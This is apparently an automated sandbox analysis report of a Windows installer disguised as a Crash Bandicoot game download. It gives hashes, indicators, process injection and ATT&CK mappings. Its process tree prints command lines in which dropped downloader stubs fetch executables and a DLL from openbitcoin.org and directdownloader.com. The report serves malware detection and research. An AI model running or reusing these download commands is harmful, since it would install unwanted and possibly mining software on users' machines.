3f61502c8fb55c79875b1851a908782bd3bead3ca304da8c2e440f3d545b39bf

Analysis

max time kernel
150s
max time network
150s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
17-06-2024 11:36

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General

Target

b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe
Size

337KB
MD5

b86795014d1cce56ef7d5b61fcd7cc3a
SHA1

40de817dcb33093af01f854e9f5491969340ef31
SHA256

3f61502c8fb55c79875b1851a908782bd3bead3ca304da8c2e440f3d545b39bf
SHA512

739db3b376a03ae5531dc542f23283e5a821e2aa58982eeca846bdeb0ea8cc9ef3de712c0807bc13e1b67be351761d47e7c340ca2cc4030a382ea1cb1be0cbfd
SSDEEP

6144:Ic63Az3BQ5Y+KsYCl3yA/Ch1COR557TQurTUUtkScE7BmHDvSa0LGz3bk:mGRCYCl3LahvTQu/UUFBmjL0cb

Score

7^/10

discovery

Malware Config

Signatures

Executes dropped EXE 7 IoCs

pid	Process
2560	downloaderSTUB.exe
2904	downloaderSTUB.exe
2648	downloaderSTUB.exe
2568	downloaderDDLR.exe
2684	downloaderOFFER1.exe
2528	downloaderOFFER1.exe
2512	preinstaller.exe

Loads dropped DLL 37 IoCs

pid	Process
2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe
2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe
2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe
2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe
2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe
2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe
2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe
2560	downloaderSTUB.exe
2684	downloaderOFFER1.exe
2904	downloaderSTUB.exe
2568	downloaderDDLR.exe
2648	downloaderSTUB.exe
2528	downloaderOFFER1.exe
2560	downloaderSTUB.exe
2684	downloaderOFFER1.exe
2568	downloaderDDLR.exe
2648	downloaderSTUB.exe
2904	downloaderSTUB.exe
2528	downloaderOFFER1.exe
2560	downloaderSTUB.exe
2684	downloaderOFFER1.exe
2568	downloaderDDLR.exe
2648	downloaderSTUB.exe
2904	downloaderSTUB.exe
2528	downloaderOFFER1.exe
2560	downloaderSTUB.exe
2684	downloaderOFFER1.exe
2568	downloaderDDLR.exe
2648	downloaderSTUB.exe
2904	downloaderSTUB.exe
2528	downloaderOFFER1.exe
2560	downloaderSTUB.exe
2684	downloaderOFFER1.exe
2568	downloaderDDLR.exe
2648	downloaderSTUB.exe
2904	downloaderSTUB.exe
2528	downloaderOFFER1.exe

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral1/files/0x0007000000016a28-1.dat	nsis_installer_1
behavioral1/files/0x0007000000016a28-1.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 31 IoCs

description	pid	Process	procid_target
PID 2836 wrote to memory of 2904	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	28
PID 2836 wrote to memory of 2904	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	28
PID 2836 wrote to memory of 2904	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	28
PID 2836 wrote to memory of 2904	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	28
PID 2836 wrote to memory of 2560	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	29
PID 2836 wrote to memory of 2560	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	29
PID 2836 wrote to memory of 2560	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	29
PID 2836 wrote to memory of 2560	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	29
PID 2836 wrote to memory of 2648	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	30
PID 2836 wrote to memory of 2648	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	30
PID 2836 wrote to memory of 2648	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	30
PID 2836 wrote to memory of 2648	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	30
PID 2836 wrote to memory of 2568	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	31
PID 2836 wrote to memory of 2568	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	31
PID 2836 wrote to memory of 2568	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	31
PID 2836 wrote to memory of 2568	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	31
PID 2836 wrote to memory of 2528	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	32
PID 2836 wrote to memory of 2528	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	32
PID 2836 wrote to memory of 2528	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	32
PID 2836 wrote to memory of 2528	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	32
PID 2836 wrote to memory of 2684	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	33
PID 2836 wrote to memory of 2684	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	33
PID 2836 wrote to memory of 2684	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	33
PID 2836 wrote to memory of 2684	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	33
PID 2836 wrote to memory of 2512	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	34
PID 2836 wrote to memory of 2512	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	34
PID 2836 wrote to memory of 2512	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	34
PID 2836 wrote to memory of 2512	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	34
PID 2836 wrote to memory of 2512	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	34
PID 2836 wrote to memory of 2512	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	34
PID 2836 wrote to memory of 2512	2836	b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe	34

C:\Users\Admin\AppData\Local\Temp\b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\b86795014d1cce56ef7d5b61fcd7cc3a_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2836
- C:\Users\Admin\AppData\Local\Temp\3c148cdf38008f3fbe11d28cb10616cf\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\3c148cdf38008f3fbe11d28cb10616cf\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\3c148cdf38008f3fbe11d28cb10616cf\stub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2904
- C:\Users\Admin\AppData\Local\Temp\3c148cdf38008f3fbe11d28cb10616cf\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\3c148cdf38008f3fbe11d28cb10616cf\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\3c148cdf38008f3fbe11d28cb10616cf\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2560
- C:\Users\Admin\AppData\Local\Temp\3c148cdf38008f3fbe11d28cb10616cf\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\3c148cdf38008f3fbe11d28cb10616cf\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\3c148cdf38008f3fbe11d28cb10616cf\updater.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2648
- C:\Users\Admin\AppData\Local\Temp\3c148cdf38008f3fbe11d28cb10616cf\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\3c148cdf38008f3fbe11d28cb10616cf\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\3c148cdf38008f3fbe11d28cb10616cf\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2568
- C:\Users\Admin\AppData\Local\Temp\3c148cdf38008f3fbe11d28cb10616cf\downloaderOFFER1.exe
  C:\Users\Admin\AppData\Local\Temp\3c148cdf38008f3fbe11d28cb10616cf\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/GamesLeap79048.exe" /D "C:\Users\Admin\AppData\Local\Temp\3c148cdf38008f3fbe11d28cb10616cf\volcano.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2528
- C:\Users\Admin\AppData\Local\Temp\3c148cdf38008f3fbe11d28cb10616cf\downloaderOFFER1.exe
  C:\Users\Admin\AppData\Local\Temp\3c148cdf38008f3fbe11d28cb10616cf\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/PricePeepInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\3c148cdf38008f3fbe11d28cb10616cf\pricepeep.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2684
- C:\Users\Admin\AppData\Local\Temp\3c148cdf38008f3fbe11d28cb10616cf\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\3c148cdf38008f3fbe11d28cb10616cf\preinstaller.exe 0 "crashbandicoot1-2-3-crashteamracing-crashbash" "Download"
  2⤵
  - Executes dropped EXE
  PID:2512

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Network Service Discovery

T1046

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\3c148cdf38008f3fbe11d28cb10616cf\downloaderSTUB.exe

Filesize
58KB

MD5
c7f6ed56312c8fbb58ae6ed445c38df4

SHA1
e2dba94ef052db774478b9f7198c1a2298b334e5

SHA256
fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

SHA512
ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

Download Submit
\Users\Admin\AppData\Local\Temp\3c148cdf38008f3fbe11d28cb10616cf\preinstaller.exe

Filesize
241KB

MD5
9d8fe8bcc4c493b2fd1da8d2b07ba57c

SHA1
aa9366eb9210c8a5398b5e55921c92ce8970df5b

SHA256
f33b7419880c7c90c999970e4c21febaaf6d39fdb02f9d9deafa8f8d97f3b3eb

SHA512
3fd58a0d7c870e8b07eb17f8f088d505ad98c7101733972f486a2946d18babfe0e4866ae28a16fe2481e006c26cbdf2d3eb1a2dd71bb44c084bbf14fea475216

Download Submit
\Users\Admin\AppData\Local\Temp\nst2CCC.tmp\NSISdl.dll

Filesize
14KB

MD5
a5f8399a743ab7f9c88c645c35b1ebb5

SHA1
168f3c158913b0367bf79fa413357fbe97018191

SHA256
dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

SHA512
824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

Download Submit
memory/2512-68-0x0000000000400000-0x0000000000446000-memory.dmp

Filesize
280KB

Download
memory/2836-67-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download